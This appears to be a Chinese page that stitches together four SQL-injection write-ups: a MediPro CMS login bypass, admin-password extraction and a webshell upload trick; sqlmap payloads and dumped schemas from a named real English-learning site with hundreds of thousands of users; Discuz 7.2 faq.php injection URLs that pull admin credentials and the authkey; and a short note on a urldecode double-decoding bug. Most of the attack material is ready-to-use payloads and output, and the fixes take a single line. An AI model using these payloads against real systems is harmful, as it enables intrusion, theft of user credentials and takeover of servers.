一 : MediPro最新版注入漏洞及后台get shell
MediPro 有多套cms网站存在过滤不严,存在注入漏洞,后台可以绕开登录,get shell,获取服务器权限。
/* 呃,官网默认是zend加密的代码,需要解密。*/
百度了下,,还是很多网站使用。。
1、后台绕开登录漏洞
在服务器没有开magic_quotes_gpc的情况下,直接登录系统。后台一般是www.xxxx.com/adm/
用户名:webmaster' or 1=1 or 'a'='a /*
密码:随便输入,验证码输入后就能直接进去了
另外:,magic_quotes_gpc转义后,老衲尝试用了%d5%27这样的方法,如:
用户名user=admin%d5%27 or 1=1 limit 0,1 -- 这类的
虽然也绕开了admincheck()函数,但后面setcookies的时候,直接沿用了用户上传的user的值,结果在后面验证权限的时候过不了,没有继续搞下去了。
2、注册页面的注入漏洞
在注册用户的地方regform.php?membertypeid=10,就有注入漏洞,问题代码出现在注册页:regform.php,其中$membertypeid没有过滤好,后面的函数直接使用了$membertypeid。
没有开启转义时:
http://网站/regform.php?membertypeid=10 WHERE 1=2 UNION SELECT 1,`password`,"user",1,0,0,`user`,1,0 from cms_admin t limit 0,1 --
如果开启了magic_quotes_gpc,"user" 的 双引号被转义,也有个比较猥琐的方法:
大体方法是:再union一下cms_member_regform_10表,把formcolname字段(注:这个字段就是注册项字段)里面的值显示出来即可。 必须要这个,因为注册页面的项是动态生成的,否则显示不出管理员的帐号密码。
具体见后面的证明图吧。
3、后台get shell
比较多,简单的利用如在/adm/temp.inc.php中,代码只过滤了上传文件的后缀“.php”“.exe”这样的内容,,就可以用“.php.xx”,如果是用windows的IIS,还可以把后缀改成.asp,.asa等;
if ( substr( $fname, 0 - 4 ) == ".php" || substr( $fname, 0 - 4 ) == ".exe" ){ err( $strDownNotice11, "", "" ); }
登录后台后,直接 访问www.xxxxx.com/adm/tempftp.php?fold=default
上传一个一句话:4.php.xx
上传后的路径:www.xxxxx.com/templates/default/4.php.xx
菜刀开路~~
注:测试用的4.php.xx已经删除。
修复方案:[www.61k.com)
过滤参数,限制上传。
扩展:getshell漏洞 / getshell漏洞修复 / 什么是getshell漏洞
二 : 笔头网SQL注入漏洞(涉及近40w用户)
http://denglish.e21.cn/diag/user_myclazz.do;jsessionid=D34619F852B1EF15E0EB4890AA68A335?pageNum=1&pageRows=5&grade=0&bjtype=common
grade参数存在注入
Parameter: grade (GET) Type: error-based Title:OracleAND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) Payload: pageNum=1&pageRows=5&grade=0') AND 8844=CTXSYS.DRITHSX.SN(8844,(CHR(113)||CHR(107)||CHR(113)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8844=8844) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(98)||CHR(113))) AND ('ibJw'='ibJw&bjtype=common Type: AND/OR time-based blind Title: Oracle AND time-based blind (heavy query) Payload: pageNum=1&pageRows=5&grade=0') AND 2118=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND ('eRHT'='eRHT&bjtype=common---web application technology: JSPback-end DBMS: Oracleavailable databases [25]:[*] APEX_030200[*] APPQOSSYS[*] BITOU[*] CMS[*] CTXSYS[*] DBSNMP[*] DENGLISH[*] DENGLISH3[*] EBOOK[*] EBOOK1[*] EXFSYS[*] FLOWS_030000[*] FLOWS_FILES[*] MDSYS[*] NEW007[*] OLAPSYS[*] ORDDATA[*] ORDSYS[*] OUTLN[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] WMSYS[*] XDB
back-end DBMS: OracleDatabase: NEW007+--------+---------+| Table | Entries |+--------+---------+| T_USER | 126975 |+--------+---------+Database: NEW007Table: T_USER[32 columns]+--------------+----------+| Column | Type |+--------------+----------+| ADDRESS | VARCHAR2 || AMOUNT | NUMBER || CARD_POINT | NUMBER || CREDIT | NUMBER || CRT_DATE | DATE || CURRENT_HOST | VARCHAR2 || EMAIL | VARCHAR2 || GENDER | VARCHAR2 || GRADE | VARCHAR2 || GRADE_ID | NUMBER || IMAGE | VARCHAR2 || INTRODUCE | VARCHAR2 || LAST_TIME | DATE || LOGIN_COUT | NUMBER || LOGIN_NAME | VARCHAR2 || MSN | VARCHAR2 || NOTE | VARCHAR2 || PASSWD | VARCHAR2 || PHONE | VARCHAR2 || PHONE_CHECK | VARCHAR2 || PRIVILEGE | VARCHAR2 || QQ | VARCHAR2 || QQ_OPENID | VARCHAR2 || REGION_ID | NUMBER || ROLE_ID | NUMBER || RRUID | VARCHAR2 || SCHOOL_NAME | VARCHAR2 || SINA_UID | VARCHAR2 || STATUS | VARCHAR2 || USER_ID | NUMBER || USER_NAME | VARCHAR2 || USER_TYPE | VARCHAR2 |+--------------+----------+
http://www.penglish.cn/ 笔头网--英语只能学习平台共256217个会员
back-end DBMS: OracleDatabase: BITOU+--------+---------+| Table | Entries |+--------+---------+| T_USER | 256217 |+--------+---------+Database: BITOUTable: T_USER[51 columns]+-----------------+----------+| Column | Type |+-----------------+----------+| ADDRESS | VARCHAR2 || ALIPAY | VARCHAR2 || AMOUNT | NUMBER || BIRTHDAY | VARCHAR2 || BLOG_URL | VARCHAR2 || CARD_POINT | NUMBER || CET_TYPE | NUMBER || CHANNEL_ID | NUMBER || CREDIT | NUMBER || CRT_DATE | DATE || CRT_OP | VARCHAR2 || CURRENT_DEV | VARCHAR2 || CURRENT_HOST | VARCHAR2 || DS_PRODUCT_ID | NUMBER || EMAIL | VARCHAR2 || EXP | NUMBER || GENDER | VARCHAR2 || GRADE | VARCHAR2 || GRADE_ID | NUMBER || ID_VALIDATION | VARCHAR2 || IMAGE | VARCHAR2 || INTRODUCE | VARCHAR2 || KY_USE_DAYS | NUMBER || LAST_TIME | DATE || LOGIN_COUT | NUMBER || LOGIN_NAME | VARCHAR2 || MSN | VARCHAR2 || NAME | VARCHAR2 || NOTE | VARCHAR2 || ORG_ID | NUMBER || PARENT_PASSWORD | VARCHAR2 || PASSWD | VARCHAR2 || PHONE | VARCHAR2 || PRIVILEGE | VARCHAR2 || PROMOTE_ID | NUMBER || PROMOTER_LINK | VARCHAR2 || QQ | VARCHAR2 || REG_FROM | NUMBER || REG_HOST | VARCHAR2 || REGION_ID | NUMBER || SCHOOL | VARCHAR2 || STATUS | VARCHAR2 || THIRD_TYPE | VARCHAR2 || THIRD_UID | VARCHAR2 || USE_DAYS | NUMBER || USE_TIME | DATE || USER_ID | NUMBER || USER_NAME | VARCHAR2 || USER_TYPE | VARCHAR2 || VALID_DAYS | NUMBER || WX_ID | VARCHAR2 |+-----------------+----------
三 : Discuz 7.2 /faq.php SQL注入漏洞
1.获取数据库版本信息
http://www.xxoo.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
.tables group by x)a)%23
2.获取管理员账户密码
http://www.xxoo.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
3.获取key
http://www.xxoo.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
getshell参见
扩展:discuz x3.1 注入漏洞 / discuz x3.2 注入漏洞 / discuz 注入漏洞
四 : PHP:小心urldecode引发的SQL注入漏洞
作者: Demon
链接:
​
Ihipop 学校的Discuz X1.5 论坛被黑,在那里吵了一个下午。Google 一下“Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit”,你就知道。
Discuz 是国内很流行的论坛系统,被黑的网站应该会很多吧。不过我对入侵别人的网站不感兴趣,同时也鄙视那些代码都不会写只会使用别人放出的工具攻击的所谓的“黑客”。
粗略看了一下代码,这个SQL 注入漏洞是urldecode 函数造成的。在PHP 手册中,urldecode 函数下面有一个警告:
The superglobals $_GET and $_REQUEST are already decoded. Using urldecode() on an element in $_GET or $_REQUEST could have unexpected and dangerous results.
而Discuz 的开发人员(估计是新手)画蛇添足,多加了一个urldecode:
foreach($_POST as $k => $v) { $value = urldecode($v); $this->setParameter($k, $value); } 单引号被urlencode 两次以后是%2527,然后POST,PHP 内部在生成全局变量$_POST 的时候会先urldecode,得到%27,然后PHP 会检查Magic Quotes 的设置,但是无论是否开启Magic Quotes,%27 都不会被addslashes,因为这时根本没有单引号。但是这时如果你在PHP 代码中画蛇添足的加上urldecode,%27就变成单引号了,然后……你懂的。
www.2cto.com
在我初学PHP 的时候,看的是学校图书馆的一本烂书,里面根本就没写PHP在处理表单的时候会自动urldecode,所以自己用urldecode 函数来解码(依稀记得书上好像也是这么写的,真是误人子弟啊)。
总结一下,就是:1、选择一本好书非常重要;2、慎用urldecode 函数。3、注意PHP 手册中的警告。
扩展:urldecode漏洞 / sql注入漏洞 / sql注入漏洞修复
本文标题:sql注入漏洞-MediPro最新版注入漏洞及后台get shell61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1